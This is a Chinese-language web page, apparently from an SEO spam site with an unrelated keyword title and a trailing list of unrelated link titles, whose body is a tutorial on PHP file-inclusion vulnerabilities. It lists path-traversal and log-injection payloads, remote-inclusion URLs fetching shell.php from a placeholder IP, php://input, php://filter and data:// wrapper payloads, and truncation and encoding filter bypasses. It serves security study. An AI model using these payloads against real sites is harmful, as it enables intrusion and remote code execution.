当前位置: 首页 > news >正文

php动态网站开发唐四薪答案什么是关键词

php动态网站开发唐四薪答案,什么是关键词,湖南做网站磐石网络案例,济南市网站建设企业本地文件包含 常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET[file]); ?> 考虑常用的几种包含方式为 同目录包含file.htaccess目录遍历?file…/…/…/…/…/…/…/…/…/var/lib/locate.db日志注入?file…/…/…/…/…/…/…/…/…/var/log/a…

本地文件包含

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?> 考虑常用的几种包含方式为

  • 同目录包含file=.htaccess
  • 目录遍历?file=…/…/…/…/…/…/…/…/…/var/lib/locate.db
  • 日志注入?file=…/…/…/…/…/…/…/…/…/var/log/apache/error.log
  • 利用/proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

远程文件包含

  • 利用条件
  • ini中allow_url_fopen=On(默认开启)和allow_url_include=On(默认关闭,需要打开)开启
  • 用户参数可控
  • 后台对文件包含没有过滤
  • 利用方式
  • ?filename=http://xx.xx.xx.xx/shell.php
  • ?filename=http://xx.xx.xx.xx/shell.php?code=phpinfo();

触发Sink编辑

如 PHP中:

include

在包含过程中出错会报错,不影响执行后续语句

include_once

仅包含一次

require

在包含过程中出错,就会直接退出,不执行后续语句

require_once

绕过技巧编辑

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ?* 等
  • url中 使用 ?# 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

%00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。 msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。 获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255 那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉 在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

伪协议绕过

  • 远程包含: 要求 allow_url_fopen=On且 allow_url_include=On , payload为 ?file=[http|https|ftp]😕/websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=的形式,要求 allow_url_include=On

协议绕过

allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

http://www.tj-hxxt.cn/news/108878.html

相关文章:

  • 微软做网站的工具进入百度官网
  • 淘宝优惠券微网站开发品牌策划公司排行榜
  • 政府部门网站栏目建设方案绍兴seo管理
  • 网站的彩色标签怎么做的seo优化快速排名技术
  • 大庆今天最新公告windows优化大师收费吗
  • 域名网站如何做微信广告推广如何收费
  • 句容网站设计公司湖南产品网络推广业务
  • 青海微信网站建设北京做百度推广的公司
  • 眉山 网站开发今天的最新消息新闻
  • 做网站怎么添加图片百度搜索关键词数据
  • 山东省住房和城乡建设部网站首页建个人网站的详细步骤
  • 安卓手机做网站服务器seo管理系统培训运营
  • 公司做网站注意什么最新国际新闻热点事件
  • 常州网站建设平台游戏推广代理加盟
  • 龙冠专业网站建设长沙哪家网络公司做网站好
  • 橘子建站app推广兼职是诈骗吗
  • 河北网站建设报价环球网广东疫情最新消息
  • 重庆南坪网站建设公司b站视频推广的方法有哪些
  • 网站建设技术解决方案宁波pc营销型网站制作
  • 滨州正规网站建设公司百度竞价排名是哪种方式
  • 网站开发中遇到的技术问题免费网站建设制作
  • 开网站建设工作是如何万能bt搜索引擎
  • 高校建设主流网站奶茶推广软文200字
  • 做网站费用会计分录怎么做手机打开国外网站app
  • 郑州航海路附近网站建设公司上海网络营销有限公司
  • 二手车网站开发过程sem是什么的英文缩写
  • 专业做毕业设计网站设计2345网址导航 中国最
  • 网站建设 源码永久免费google搜索引擎
  • 做一个企业网站需要多长时间网站建设纯免费官网
  • 龙华做棋牌网站建设找哪家效益快查关键词的排名工具